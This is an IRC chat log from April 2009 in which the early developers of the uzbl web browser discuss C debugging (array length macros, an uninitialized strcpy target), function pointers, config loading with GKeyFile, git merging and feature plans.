20:55 <@Dieterbe> 19:30:13 <@dusanx>   { "uri", 'u', 0, G_OPTION_ARG_STRING, &uri, "Uri to load", NULL }, 
20:55 <@Dieterbe> 19:30:18 <@dusanx>   { "verbose", 'v', 0, G_OPTION_ARG_NONE, &verbose, "Be verbose", NULL }, 
20:55 <@Dieterbe> 19:30:30 <@dusanx>   { NULL }   
20:55 <@Dieterbe> 19:30:36 <@dusanx> }; 
20:55 <@Dieterbe> when you have something like this, how can you get the number of elements in the struct aftewards?
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20:58 < barrucadu> Hi :)
20:58 < barrucadu> I got whisked away to the village of Pontefract by my dad earlier, hence my sudden disappearence
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21:09 <@dusanx> I am back
21:09 < barrucadu> :D
21:09 <@dusanx> both dimensions have terminating NULL
21:10 <@dusanx> so you make loop until you get NULL
21:10 <@dusanx> but I will be on and off for the next few hours
21:14 < barrucadu> Hmm, what was the decision for if statements? Was it "if(condition) {" or "if (condition) {"?
21:14 <@dusanx> dont know, I hope it's if(
21:15 < barrucadu> I thought it was if (, but there are a couple of if statements here using if(. I'll use that for consistency
21:15 <@dusanx> sorry, I write if with space /blush/
21:15 < barrucadu> :p
21:15 < barrucadu> "if (" it is then
21:15 <@dusanx> lol
21:17 < barrucadu> I'm having a go at implementing everything in the behaviour section of the config file
21:26 < barrucadu> Can someone link me to that webkit reference page? I'm having difficulty finding it
21:31 < sentientswitch> http://oe.linuxtogo.org/~zecke/webkit-gtk-api/webkitgtk-WebKitWebView.html
21:32 < barrucadu> I've just found it :p
21:36 < barrucadu> I'm trying to figure out how to detect if a file should be downloaded, and if so, forward it to the specified download manager…
21:40 < barrucadu> There doesn't seem to be a way to grab the mime type though, at least, not mentioned on that site
21:42 <@dusanx> yes we need to intercept or change content menu
21:42 -!- Toy-Food [n=andy@d118-75-26-83.nap.wideopenwest.com] has joined #uzbl
21:43 < barrucadu> Grepping the webkit headers for "download" doesn't reveal anything particularly handy either :(
21:43 < barrucadu> There must be a way to specify the download manager - otherwise how do other webkit browsers pop up a save dialog?
21:43  * Toy-Food just rick rolled himself with uzbl.
21:43  * barrucadu departs to get chocolate cake.
21:45 <@dusanx> we will find it ;)
21:51  * barrucadu returns, having eaten cake.
21:52 <@Dieterbe> :{
21:52 <@Dieterbe> :)  i mean
21:52 < barrucadu> I just saw the name Toy-Food and it reminded me of the cake in the fridge :p
21:52 < Toy-Food> :P
21:53 <@Dieterbe> hey our project has a hater already. that must mean we have a good project :)
21:53 < barrucadu> :D
21:53 <@dusanx> :)
21:53 < barrucadu> When we get to five we know we have a *great* project :)
21:54 < Toy-Food> Then Microsoft must have an amazing product.
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21:55 -!- Irssi: #uzbl: Total of 11 nicks [2 ops, 0 halfops, 0 voices, 9 normal]
21:55 <@Dieterbe> anyway, barrucadu i'm refactoring the commands/function pointers a bit
21:55 < barrucadu> ok
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21:56 <@dusanx> D, you got message about arrays?
21:56 < barrucadu> I'm going to play a few (dozen) games of tower defence then get back to the code :p
21:56 < barrucadu> After maybe having a look at my mysterious wireless problem.
21:56 <@Dieterbe> at a certain point i tried using callbacks and connect them to gobject signals, but then i found out i would need to subclass gobject to implement custom signals and that would require quite some code, so I'm back at the function pointers now
21:56 <@Dieterbe> dusanx: yeah, thanks
21:56 <@dusanx> I am finisheng stargate atlantis episode and will start to code
21:56 < fogobogo> as i can see, development rapidly progresses
21:57 < ChoK> lol
21:57 <@Dieterbe> barrucadu: do you have experience with gobject/signals etc?
21:57 < barrucadu> I have yet to start Atlantis…
21:57 < barrucadu> Dieterbe: Not really. I've only got a couple of days experience with C :p
21:58 <@Dieterbe> oh.. right.. i remember reading that in the topic, now you mention it :)
21:58 < fogobogo> i dunno. might be a bit early for feature requests. but maybe better before you bury it in code. any chance to have the statusbar on top?
22:00 <@Dieterbe> we could make it a setting. i like bars at the top too and dusanx wants them at the bottom, so ...
22:00 <@Dieterbe> the only democratic thing to do is make it configurable :P
22:00 < fogobogo> yeah. think thats a good idea
22:00 <@dusanx> lol I want them gone
22:00 < barrucadu> As much as possible should be configurable :)
22:00 <@dusanx> kidding, good idea
22:01 < fogobogo> ok. just dont hammer ppl with options like fvwm. at least some sane defaults ;)
22:02 <@dusanx> absolutely
22:02 -!- Dieterbe changed the topic of #uzbl to: Uzbl is a browser that adheres to the unix philosophy.  Uzbl does only browsing -- uzbl is almost uzbl -- http://github.com/Dieterbe/uzbl -- Please don't say the forbidden 3-letter word
22:03 < barrucadu> The forbidden 3 letter word? Tab? :p
22:03  * barrucadu makes the sign of the cross
22:03 <@Dieterbe> barrucadu: AAAARRRG
22:03 < fogobogo> sekx?
22:03 < sentientswitch> every time you say tab a Dieterbe dies
22:03 <@Dieterbe> yeah, god ran out of kittens
22:04 <@Dieterbe> so he does dieterbe's
22:04 < sentientswitch> yeah
22:04 <@dusanx> no, that would be me so it's not tab
22:04 < fogobogo>  /exec -o for 1<5000 ;do echo "TAB"; done
22:04 < fogobogo> nvm
22:09 <@Dieterbe> dusanx: not like this? while (commands[i] != NULL) { ... i++; }
22:09 <@Dieterbe> where commands is the struct
22:09 <@dusanx> yes should be like that
22:09 <@Dieterbe> i get: uzbl.c:172: error: invalid operands to binary != (have ‘struct command’ and ‘void *’)
22:10 <@dusanx> I can check dwm code
22:10 <@dusanx> let me see
22:15 <@Dieterbe> faster !
22:15 <@Dieterbe> :))
22:15 <@dusanx> there is better way
22:15 < fogobogo> obey!
22:15 <@dusanx> first define:
22:15 <@Dieterbe> now i'm curious
22:15 <@dusanx> typedef struct { const char *class; const char *instance; const char *title; unsigned int tags; Bool isfloating;
22:15 <@dusanx> } Rule;   
22:16 <@dusanx> using irssi, dont know if that passed?
22:16 <@Dieterbe> i got a typedef struct ... Rule
22:16 <@Dieterbe> you can always use a nopaste service btw :)
22:16 <@dusanx> typedef struct {  
22:16 <@dusanx> yes, wait
22:17 <@dusanx> http://rafb.net/p/LUiAIF21.html
22:17 <@dusanx> struct like this
22:17 <@Dieterbe> yeah...
22:17 <@dusanx> then
22:18 <@dusanx> http://rafb.net/p/zTDfeN46.html
22:18 <@dusanx> fill structure
22:18 <@dusanx> then
22:19 <@Dieterbe> why don't you paste it all in 1 go :)
22:19 <@dusanx> http://rafb.net/p/Pkqewg68.html
22:19 <@dusanx> because they are in different files :)
22:20 <@dusanx> so you can reference item by name now
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22:22 <@Dieterbe> ah.. LENGTH(rules)
22:22 <@Dieterbe> i had tried commands.length
22:22 < barrucadu> Just vanishing to try to get my wireless connection working again...
22:22 <@Dieterbe> :/
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22:22 <@dusanx> and you dont need NULL terminators
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22:25 <@Dieterbe> dusanx: do you know where LENGTH comes from?
22:25  * barrucadu has given up on getting his wireless working, for now
22:25 <@Dieterbe> seems a bit a weird function name
22:25 <@Dieterbe> barrucadu: nothing beats a 1000Mbps ethernet lan :)
22:26 <@dusanx> let me see
22:26 < barrucadu> Dieterbe: That may be true, but when wireless has stopped working for no apparent reason, and works on other networks, it's a pain :p
22:26 <@dusanx> #define LENGTH(x)               (sizeof x / sizeof x[0])   
22:28 <@Dieterbe> heh
22:37 <@Dieterbe> i think it may work
22:37 <@Dieterbe> it compiles, bug segfaults as soon as a command is read :P
22:38 <@dusanx> you have a dangling pointer somewhere :P
22:39 <@Dieterbe> man i'm starting to hate C already ;P
22:39 < barrucadu> As the name was inspired by lolcats, clearly we should reimplement it in lolcode :P
22:40 <@dusanx> hmm, I like it but did not used it... let's see... for the last 16 years :)
22:40 <@Dieterbe> I CAN HAZ FIFO? KTHXBYE :)
22:41 <@dusanx> lol
22:41 < barrucadu> Somehow I doubt lolcode has webkit bindings though :(
22:42 <@Dieterbe> yea :)
22:42 <@Dieterbe> oh btw barrucadu , i changed the fifo names. now they don't use the pid, but rather the X window id
22:42 <@Dieterbe> when you do xdotool --search to get the properties of a window, you get the X window id, not the pid
22:43 <@Dieterbe> and I couldn't find an easy way to get the pid, so ..
22:56 <@Dieterbe> hmm the segfault seems to appear @ strcpy(cmdstr, command);
22:56 <@Dieterbe> where i have: parse_command(const char *command) { // i checked with a printf there is a string in command
22:56 <@Dieterbe> and : char *cmdstr;
22:56 <@dusanx> target, source, right?
22:56 <@Dieterbe> yeah
22:56 <@dusanx> nooo
22:57 <@dusanx> you can only strcpy to string
22:57 <@dusanx> cmdstr is string pointer
22:57 <@Dieterbe> http://www.cplusplus.com/reference/clibrary/cstring/strcpy/
22:57 <@dusanx> yes
22:57 <@Dieterbe> says: char * strcpy ( char * destination, const char * source ); ?
22:58 <@dusanx> but your string pointer does not have allocated space?
22:58 <@Dieterbe> ah
22:58 <@Dieterbe> that's probably it
22:58 <@dusanx> it's just pointing anywhere in memory if not initialized
22:59 <@Dieterbe> i thought strcpy would handle that for me :P
22:59 <@Dieterbe> ooh now i know why firefox crashed
22:59 <@Dieterbe> i corrupted my own memory :/
22:59 <@dusanx> what do you want to do with cmdstr later?
23:00 < barrucadu> Idea: As commands are going to be 1 character long, should we change the use of strings we have now to GDK_{something} constants? This would make it easier to pass a key value upon press to parse_command.
23:00 <@Dieterbe> actually that's just a remainder of barrucadu's code, now that we don't use aliases anymore i think we can drop the copy
23:00 <@Dieterbe> barrucadu: no commands are words like refresh, go_back, zoom_in
23:00 <@dusanx> if you want just to use it and not to change content
23:01 <@dusanx> you can safely use cmdstr=&command[0];
23:01 <@dusanx> that's him pointing to legal string
23:03 <@Dieterbe> i'm just gonna use command directly
23:10 <@Dieterbe> barrucadu: what are you working on now/next?
23:13 <@Dieterbe> i'm now working on commands with arguments, so that you can do "uri http://..." which is cleaner then plain "http://.."
23:14 <@dusanx> I am working on keys/insert mode/status and title bars
23:14 < barrucadu> Dieterbe: I'm working on switching between command/insert mode with Esc/i, and having one key press for a command in command mode. After this I'll look at always_insert_mode and modmask
23:15 <@Dieterbe> super ..
23:17 <@dusanx> barr, I am doing that?
23:17 <@dusanx> thought that we agreed that you will work ini wile part?
23:17 <@dusanx> file
23:18 < barrucadu> I sort of... deviated :p
23:18 <@dusanx> boo
23:18 < barrucadu> I added the always_insert_mode and thought "Well, I need something for it to do", and things progressed :p
23:18 <@dusanx> can you un-deviate?
23:19 <@dusanx> or finish that, dont know how far you are gone...
23:19 <@dusanx> but we will need sfttings soon
23:19 <@dusanx> settings, damn colemak
23:20 < barrucadu> I'll just finish what I'm doing then move back to settings loading
23:21 <@dusanx> what are you doing exactly?
23:21 <@dusanx> bc you are doing all over place
23:21 < barrucadu> Well, I have a nonworking command mode :p
23:21 <@dusanx> if D did not asked I would do double job argh
23:21 < barrucadu> ...back to settings! :)
23:22 < barrucadu> In fact, I'll just undo what I've done because it doesn't work properly :p
23:22 <@dusanx> thanks
23:22 <@dusanx> you are our tert pilot :p
23:22 <@dusanx> argh test pilot
23:23 <@dusanx> anybody using colemak lol
23:24 <@dusanx> guess not since you don't have typos ;)
23:25 < barrucadu> I mean to switch to another keyboard layout at some point. If only to make my laptop that little bit more inaccessable to normal people :p
23:26 < barrucadu> Though it'd play havok with keybindings - I'd have to either rebind a lot of things, or just work the new positions into muscle memory
23:27 <@dusanx> my keyboard is almost older than you guys, proper 1984 IBM model m :)
23:29 < barrucadu> Your keyboard *is* older than me, I'm 17 :p
23:30 <@dusanx> oh man :)
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23:39 < barrucadu> Hmm, I notice my home git repo has been uploaded to my uzbl master branch. How on earth did that happen? <.>
23:40 < barrucadu> Ah.
23:41 <@Dieterbe> i'm 24, so that makes your keyboard also older then me :)
23:42 <@Dieterbe> btw. fuck
23:42 <@dusanx> D, I hope that you have backup of your branches =))
23:42 <@Dieterbe> why?
23:43 <@dusanx>  barrucadu> Hmm, I notice my home git repo has been uploaded to my uzbl master branch
23:43 < barrucadu> My uzbl branch is called experimental, as I copied it from dieter's experimental branch. I had accidentally created a master branch and uploaded my home repo to it
23:43 < barrucadu> No damage done
23:43 <@dusanx> don't let B overwrite them :P
23:44 < barrucadu> I had stupidly called both my home remote repo and my uzbl remote repo "origin" :p
23:44 <@Dieterbe> hah
23:44 <@Dieterbe> hey dusanx , since you have about 20 years of C experience or so, i have a question for you
23:45 <@Dieterbe> look at this http://github.com/Dieterbe/uzbl/commit/eb0c7ca3297e16a13ede258b20d7eae57730b3a8
23:46 <@Dieterbe> as you see, depending on the booleans param_allow and param_optional i sometimes want to call the function for the command with an extra argument
23:46 <@Dieterbe> but when I call "func (web_view, command_param);" (line 192) it complains about the extra parameter
23:46 <@Dieterbe> which makes sense, as the function pointers are defined without the extra param
23:47 <@Dieterbe> is it possible to define the struct in such a way I can call the functions with our without an extra param?
23:47 <@dusanx> yes but I am not sure how, let me try to remember
23:48 -!- Irssi: #uzbl: Total of 12 nicks [2 ops, 0 halfops, 0 voices, 10 normal]
23:48 -!- mode/#uzbl [+o barrucadu] by Dieterbe
23:49  * barrucadu feels powerful
23:49 <@barrucadu> :p
23:49 <@dusanx> easiest way (dirty one) is to always use same number of params
23:50 <@dusanx> 196: func (web_view, NULL);
23:51 <@dusanx> and than have func that accepts two params
23:51 <@Dieterbe> that's the problem. we're calling webkit functions immediately.. we could write wrapper functions, but it would become complex and ugly imho
23:52 <@dusanx> I would like wrappers
23:52 <@dusanx> you will always want to add something anyway
23:52 <@Dieterbe> ok that's true. but still. giving them all an extra parameter just because one function might use one...
23:53 <@dusanx> at least debug printf
23:53 <@dusanx> I know
23:53 <@dusanx> http://publications.gbdirect.co.uk/c_book/chapter9/stdarg.html
23:54 <@Dieterbe> hhhz
23:58 <@Dieterbe> hheey wait a minute
23:58 <@Dieterbe> no, never mind
--- Day changed Sun Apr 26 2009
00:01 <@Dieterbe> i'm going to bed
00:02 <@Dieterbe> see you tomorrow guys
00:02 <@dusanx> see you ;)
00:02 < fogobogo> o/
00:02 <@barrucadu> bye
00:03 < fogobogo> all ops here huh?
00:03 -!- Irssi: #uzbl: Total of 12 nicks [3 ops, 0 halfops, 0 voices, 9 normal]
00:03  * fogobogo thinks "damn sharkpool"
00:22 <@barrucadu> dusanx: I've just committed loading key bindings from the config file into a struct, you should probably have a look as you're doing insert mode
00:22 <@dusanx> I am back
00:22 <@barrucadu> :)
00:22 <@dusanx> thanks
00:22 <@dusanx> where to look?
00:23 <@barrucadu> http://github.com/Barrucadu/uzbl/commit/8a886c9fb87f56d0531736422c47606412bc5019
00:23 <@barrucadu> The internal_bindings and external_bindings variables
00:25 < rson> jesus christ. i dont mean to bring this in here, but wtf's up wraith's ass today?
00:26 <@dusanx> leave him be...
00:26 <@barrucadu> Maybe he's just having a bad day
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00:28 <@dusanx> B, this is latest D code included?
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00:30 <@barrucadu> Not his latest commit, but the one before. I haven't copied over his changes yet
00:31 <@dusanx> ok, I'll try to merge everything at my git
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00:51 <@barrucadu> I've just merged Dieter's changes. But now it doesn't compile because he was playing with parse_command :p
00:51 <@barrucadu> I'll just change that line back so I can compile it...
00:51 <@dusanx> that's it! I will work on my code and will not merge anything!
00:52 <@dusanx> then you will merge it back...
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00:57 <@barrucadu> Now that the config file is sorted I need something to do... :p
00:58 <@dusanx> does g_key_file_get_value allocates needed space?
00:59 <@barrucadu> I'm not sure
00:59 <@dusanx> have you used some existing example?
01:00 <@barrucadu> Yes, I searched google code for the function name and picked one of the results to base my code on
01:00 <@dusanx> yes but have you checked some existing code?
01:01 <@dusanx> to see if you need to allocate/deallocate needed space?
01:01 <@barrucadu> Here is what I used: http://google.com/codesearch/p?hl=en#wdy1i-miiWM/gtk/src/ini_to_plist.c&q=g_key_file_get_keys
01:01 <@barrucadu> There is nothing that I can see about allocating/deallocating space
01:05 <@barrucadu> Hmm: http://lists.suckless.org/dwm/0904/7905.html
01:07 <@barrucadu> Well, people seem to be talking about uzbl at least :p
01:08 <@dusanx> at this google example
01:08 <@dusanx> they are using double pointer
01:09 <@dusanx> gchar **keys;
01:09 <@dusanx> keys = g_key_file_get_keys(kf, groups[ii], NULL, NULL);
01:09  * barrucadu looks at his code
01:09 <@barrucadu> gchar **keysi = g_key_file_get_keys (config, "bindings_internal", NULL, NULL);
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01:10 <@barrucadu> It was segfaulting when I tried to do it myself with a single pointer, hence the googling
01:10 <@dusanx> let me see
01:10 <@dusanx> you are right
01:10 <@barrucadu> http://www.gtk.org/api/2.6/glib/glib-Key-value-file-parser.html#g-key-file-get-keys
01:11 < syslogd> Will uzbl support tabs?
01:11 <@dusanx> so g_ allocates space, great
01:11 < syslogd> Why are you using GTK instead of Qt even though WebKit uses Qt as well?
01:12 < syslogd> GTK is too much overhead in my opinion.
01:12 <@dusanx> webkit uses gtk or qt
01:12 < syslogd> Ok.
01:12 <@dusanx> but can't work standalone
01:12 < syslogd> Aren't they using Qt for rendering internally?
01:12 <@dusanx> no
01:12 < syslogd> Like QString, etc.?
01:12 < syslogd> Ah.
01:13 < syslogd> Still, it's too slow for my 500 MHz machine.
01:13 < syslogd> Using Arora here - very slow.
01:13 <@dusanx> they only use gtk or qt to render forms
01:13 < syslogd> Ok.
01:13 < syslogd> What about KHTML, would it be faster?
01:14 < syslogd> I've taken a look the source codes (of Konqueror and KHTML) a few weeks ago and it looked very clean.
01:14 <@dusanx> that is locked to qt, no portability
01:14 < syslogd> Who cares?
01:15 < syslogd> WebKit is also looked to GTK or Qt.
01:15 <@dusanx> I dont use qt so... me?
01:15 < syslogd> Qt is faster than GTK.
01:15 < syslogd> And has a much cleaner API.
01:15 < syslogd> Though, it is bloated.
01:15 < syslogd> I like FLTK best. :)
01:15 <@dusanx> cool, why dont you create qt port?
01:16 < syslogd> But they have a miserable release model.
01:17 < syslogd> Uhm, because I don't need all those features of Qt (like QString). I want a toolkit which only reacts on keyboard events and is very lightweight (like FLTK).
01:18 < syslogd> I already thought of forking FLTK but I am still waiting for a new release which fixes all those bugs.
01:19 < syslogd> Dillo needed to implements lots of workarounds (like limiting the maximum number of tabs) because FLTK has lots of bugs that don't get fixed.
01:19 <@dusanx> master
01:19 < syslogd> Good idea.
01:19 < syslogd> But I want a stable basis.
01:19 < syslogd> Another goal would be to port FLTK to Wayland.
01:20 < syslogd> Then I'd get rid of Xorg completely. :)
01:20 < syslogd> Xorg is a good example how *not* to follow the Unix philosophy.
01:21 < syslogd> That's why I really appreciate KML and Wayland.
01:21 < syslogd> Hope even more cards get supported in the future.
01:21 < syslogd> :)
01:21 < syslogd> Still there?
01:21 <@barrucadu> Yes, we're here :)
01:22 < syslogd> :)
01:22 <@dusanx> I'll kill too
01:22 < syslogd> ?
01:23 < syslogd> Whom?
01:23 <@dusanx> my branch
01:23 < syslogd> Hm, okay.
01:23 < syslogd> Anyways, got to go.
01:23 <@barrucadu> bye
01:23 < syslogd> It's been nice talking to you.
01:23 < syslogd> Good night you guys.
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01:36 < fogobogo> hmm
01:36 < fogobogo> seems barrucadu is out of order again. 
01:36  * fogobogo goes looking for change
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09:17 <@Dieterbe> good morning dudes
09:17 -!- Irssi: #uzbl: Total of 10 nicks [1 ops, 0 halfops, 0 voices, 9 normal]
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09:54 < dusanx> 'morning :)
09:59 <@Dieterbe> hey dusanx 
09:59 <@Dieterbe> i fixed my bug from yesterday
09:59 <@Dieterbe> so my experimental is fairly stable 
10:00 < dusanx> let me try to merge
10:00 < dusanx> just a sec
10:00 <@Dieterbe> i will merge from barracuda
10:00 <@Dieterbe> that will make the diff between us smaller
10:00 <@Dieterbe> so if the diff is too big, don't waste your time on it :)
10:00 <@Dieterbe> i can merge from you after merging from barracuda
10:01 <@Dieterbe> but first i have to eat. see you later
10:01 < dusanx> I had to take his code since he took your experimental
10:01 < dusanx> it was a mess to merge :(
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10:22 < barrucadu> Hi
10:22 < dusanx> 'morning :)
10:23 < barrucadu> I'll just merge what both of you have done since I was forcibly removed from the Internet last night :p
10:23 < dusanx> can you merge my source?
10:23 < dusanx> using github
10:24 < dusanx> drives me mad not to be able to merge anything
10:24 < dusanx> had to copy your source so you should be able to merge
10:24 < barrucadu> Ok, I just need to add your repo as a source first
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10:27 < dusanx> lol have you seen how many lines of code key processing needs? :D
10:32 < barrucadu> Your code is merged :)
10:32 < barrucadu> Now for Dieter's
10:32 < dusanx> great
10:33 < dusanx> gone for an hour >>>
10:39 < barrucadu> Code merged, and multi-parameter functions work great :)
10:39 < barrucadu> I also went through and correct any remaining code style mistakes I saw
10:40 < barrucadu> ...so naturally now I notice more :p
10:42 < barrucadu> Done
10:42 <@Dieterbe> morning dudes
10:43 < barrucadu> There are now, as far as I can tell, no code style mistakes in my branch :)
10:43 < barrucadu> hi
10:43 < barrucadu> Ad I've got Dieterbe and dusanx's latest commits, you both may as well copy mine so it's all consistent
10:43 < barrucadu> *As
10:44 <@Dieterbe> ok, if we can now bind keys to external scripts, then we can release a proof of concept / alpha
10:44 < barrucadu> We can bind keys, but I'm not sure if anything happens yet <.>
10:45 <@Dieterbe> and you can catch the key events?
10:45 < barrucadu> yes
10:46 <@Dieterbe> cool
10:46 <@Dieterbe> then we just need to exec() the external scripts
10:50 <@Dieterbe> i'm now gonna try out your stuff and merge it in
10:50 <@Dieterbe> your = both of you :)
10:50 < barrucadu> :)
10:51 < barrucadu> I've just merged your stuff, so it should be fairly easy
10:51 < barrucadu> The only big changes will be the functions which were indented with two spaces which I changed to four - and some other small style mistakes
10:51 <@Dieterbe> ah, i also corrected those i think
10:51 <@Dieterbe> or at least some
11:00 <@Dieterbe>  [experimental] git diff bar/experimental | wc -l
11:01 <@Dieterbe> :o
11:04 <@Dieterbe> barrucadu: 
11:04 <@Dieterbe> -- Press ESC to toggle the command entry.
11:04 <@Dieterbe> -- Press enter after typing a command to use it.
11:04 <@Dieterbe> this will be changed right? that you don't need to press esc and enter
11:05 <@Dieterbe> -* Support for arguments to commands (argc/argv-like structure?). -> do we need this? isn't it enough that some commands can accept 1 parameter? like 'uri <uri>'
11:06 < barrucadu> Oops, I forgot to update my README file
11:07 < barrucadu> Oh, no I didn't <.>
11:07 < barrucadu> Currently there is no command mode, as dusanx hasn't implemented it yet
11:07 < barrucadu> So the only way to control it is through the FIFO
11:08 < barrucadu> And  URI entry at the top
11:08 < barrucadu> And no, we don't need the argc/argv thing - that was just me wondering how to solve the problem of some things needing parameters
11:09 <@Dieterbe> what commands do you think need parameters?
11:09 < dusanx> I am back
11:09 < barrucadu> Well, "uri <uri>" is the only one really
11:09 < barrucadu> And that has just the one
11:09 < barrucadu> So your solution is much nicer than my idea
11:09 <@Dieterbe> ok
11:10 < dusanx> hurah! I can merge last D's tree!
11:10 <@Dieterbe> hold on a sec
11:10 < dusanx> just a sec
11:10 <@Dieterbe> o_O
11:10 < dusanx> ok
11:10 <@Dieterbe> i'm still merging in barrucadu's stuff
11:10 < dusanx> ok
11:10 < dusanx> I found out what caused the mess
11:11 <@Dieterbe> btw dusanx feel free to add yourself to the AUTHORS file after merging from me. then when i merge from you, you'll be in the list :)
11:11 < dusanx> and would very much like to be able to do merging in the future
11:11 < dusanx> no problem
11:11 < dusanx> so
11:12 < dusanx> I forked your code few days ago
11:12 < dusanx> but since then you changed it too much for both of us to be able to merge
11:12 <@Dieterbe> barrucadu: okay, but we agreed all uri editing will be outside uzbl, so no URI field anymore in uzbl itself :)
11:13 < dusanx> functions were moved and deleted
11:13 < dusanx> so git could not figure out
11:13 <@Dieterbe> right
11:13 < dusanx> pls:
11:13 < dusanx> when you want to change order
11:13 < dusanx> move one function and commit
11:14 < dusanx> update github
11:14 < dusanx> and do another change
11:14 < dusanx> so we can merge in the future
11:15 < dusanx> I will have insert mode in five minutes, it's simple
11:15 < barrucadu> Make sure you pay attention to the always_insert_mode variable loaded from the config file :p
11:15 < dusanx> seen it ;)
11:16 < dusanx> I'll just wait till you get B's code so I can update mine
11:17 < dusanx> want to use git properly
11:17 < dusanx> oh, yes, I added my titlebar hover thing but I will add flag today
11:17 <@Dieterbe> i've merged in barrucadus stuff and pushed to my experimental on github
11:18 < dusanx> great
11:19 < dusanx> be back in an hour, I'll update then
11:20 <@Dieterbe> barrucadu: okay, but we agreed all uri editing will be outside uzbl, so no URI field anymore in uzbl itself right? so i'll remove the gtkentry thing for commands/uri
11:20 < barrucadu> ok
11:21 <@Dieterbe> we also don't need the "esc" and "enter" to explicitly toggle the bar and to execute the command
11:21 < barrucadu> Oh, people are talking about us: http://news.ycombinator.com/item?id=578618 http://lists.suckless.org/dwm/0904/7903.html
11:21 < barrucadu> We're famous! :p
11:22 < fogobogo> now deliver.
11:22 < fogobogo> :D
11:22 <@Dieterbe> 1 point by vorador 1 day ago | link
11:22 <@Dieterbe> It's amusing to see that for the author the unix philosophy means that it comes with no convenience features.
11:22 <@Dieterbe> o_O
11:23 < barrucadu> lol
11:24 <@Dieterbe> barrucadu: do you agree with what i just said about esc/enter ?
11:24 < syslogd> Morning guys.
11:25 < syslogd> Dieterbe: I agree. Sometimes less is more. :)
11:25 < barrucadu> Dieterbe: yes
11:26 < barrucadu> Idea: When executing external scripts, uzbl could pass the path to its FIFO as a parameter - thus scripts could just reference "$1" when sending commands.
11:28 <@Dieterbe> hah...
11:28 <@Dieterbe> that's a great ieda
11:28 <@Dieterbe> idea
11:30 < syslogd> Which Arch Linux packages do I need for compiling? It does not find gtk/gtk.h
11:30 <@Dieterbe> barrucadu: do you think there is anything wrong with my sampleconfig? i see you created a config file yourself with a different layout, different command names etc
11:30 <@Dieterbe> syslogd: you need libwebkit and gtk
11:30 < syslogd> Thanks.
11:31 < syslogd> Wow, gtk has many dependencies. It wants to install ~50 MiB. :(
11:31 <@Dieterbe> barrucadu: and aliases?
11:32 < fogobogo> syslogd: gtk2 methinks you want
11:32 < syslogd> Oh.
11:32 < barrucadu> Dieterbe: didn't you drop aliases in a commit last night? That's why I removed that section from my config file
11:32 < syslogd> Yay, 70 MiB. :)
11:32 < barrucadu> Are you looking at my latest commit? The config files are the same now
11:33 < barrucadu> And have been since I reforked yesterday (whatever time that was)
11:33 <@Dieterbe> barrucadu: i don't know.. i pulled in your latest code in my bar/experimental branch (for some reason this required a merge?) but I cloned your latest stuff and diffed manually to see uzbl.c etc were the latest versions, then i merged that stuff into my experimental
11:34 <@Dieterbe> and now i'm comparing my new experimental to the latest one i "verified myself", to see all changes from the merge
11:34 <@Dieterbe> barrucadu: so, can i just remove the alias section and drop the config file?
11:34 < barrucadu> yes
11:34 <@Dieterbe> k
11:35 <@Dieterbe> i probably did something wrong with git
11:35 < barrucadu> :p
11:35 <@Dieterbe> that's what i'm going over all the changes once more, manually
11:36 < barrucadu> Git is confusing. When I merged dusanx's changes, it said there were no conflicts - and then didn't update any files at all. So I had to do it by hand
11:36 <@Dieterbe> btw barrucadu :static gchar* always_insert_mode = NULL; i think that can be a gboolean
11:36 < barrucadu> ok
11:36 <@Dieterbe> don't know if gbooleans can be NULL though, if so , initialise it on 0
11:37 < barrucadu> done
11:38 <@Dieterbe> barrucadu: are you busy or can i throw you some ideas
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11:44 < barrucadu1> Hmm, there are two of me <.>
11:47 <@Dieterbe> your other one will lag out soon
11:49 < dusanx> I am back :)
11:50 <@Dieterbe> barrucadu: maybe, every time we invoke a script we should do it like : <scriptname> uzbl-config-file uzbl-pid uzbl-x-window-id uzbl_fifo-path [more params depending on script]
11:50 <@Dieterbe> that way, from inside the bash scripts, you have all the info you may need
11:50 < dusanx> what is this git story -- git sucks (less likely) or we don't use it properly
11:50 <@Dieterbe> the latter :)
11:51 <@Dieterbe> with git one should be able to do everything he needs, we just don't know how :)
11:51 < dusanx> what we need to change? It's annoying this way
11:51 <@Dieterbe> what's the biggest issue for you?
11:51 < barrucadu1> Dieterbe: I think those params would cover everything - if a script needs anything else it could be loaded from the config file
11:51 < dusanx> merging within github, I want to see Network report
11:52 <@Dieterbe> barrucadu1: yep
11:52 < dusanx> right now there is no sign that B took my code and he did
11:53 <@Dieterbe> ah that barrucadu1 did something wrong, not you :)
11:53 < barrucadu1> It's all my fault :(
11:53 <@Dieterbe> listen, to merge something in from someone else:
11:53 < barrucadu1> :p
11:53 < dusanx> B, did you killed your fork? It's not in network report
11:54 < barrucadu1> That's because Dieter has merged all of my commits
11:54 <@Dieterbe> go in your local copy (which is a clone of your github one), clean up all your stuff so git status == empty, then add a remote branch for the branch you want to track (eg my experimental), add it like described here http://github.com/guides/pull-requests (second to last code block)
11:55 <@Dieterbe> after you've done that, checkout your own branch again, and git diff <username>/<branchname>, then git merge <username>/<branchname>
11:55 <@Dieterbe> after that, push to github and you'll see the merge in the network
11:55 < dusanx> you are talking git on my pc?
11:55 <@Dieterbe> yes
11:55 < dusanx> or on github
11:55 < dusanx> ok
11:56 <@Dieterbe> your local clone on your pc
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11:56 < barrucadu1> Aha, I can get my name back!
11:56 -!- barrucadu1 is now known as barrucadu
11:56 <@Dieterbe> the clone on github serves only the purpose of having the code online all the time, basically
11:56 <@Dieterbe> all the real work happens on your own pc
11:56 < dusanx> ok, I'll try to merge your exp now
11:56 <@Dieterbe> you just push to the clone to update the code so everyone else can pull from that
11:57 < dusanx> ok, I was trying to use github fork queue, pull it, change and gush
11:57 <@Dieterbe> barrucadu: do you have time to implement some fixes related to your code?
11:58 < barrucadu> yes
11:59 < barrucadu> What needs fixing?
11:59 <@Dieterbe> barrucadu: okay. first of all, the history file only serves the purpose of tracking visited pages, it's not meant as a general log file
11:59 <@Dieterbe> i think you changed some code that logs some misc messages to the history file
12:00  * barrucadu checks /tmp/uzbl.history
12:00 < barrucadu> Hmm
12:00 < dusanx> sorry to interrupt: I added MsgBox func temporarily, you can use it for debug purposes
12:01 < dusanx> should be in your code already
12:01 < barrucadu> yes
12:01 <@Dieterbe> yeah it is, i was already wondering what it's purpose was
12:01 < dusanx> debug :)
12:01 <@Dieterbe> i always run uzbl in a terminal (make test) and look at stdout/stderr
12:02 < dusanx> not relying on printf, we can delete it later
12:02 < dusanx> I had weird printfs yesterday
12:03 < barrucadu> No, I haven't got anything writing to the history file other than log_history_cb
12:03 < dusanx> they worked like they are buffered
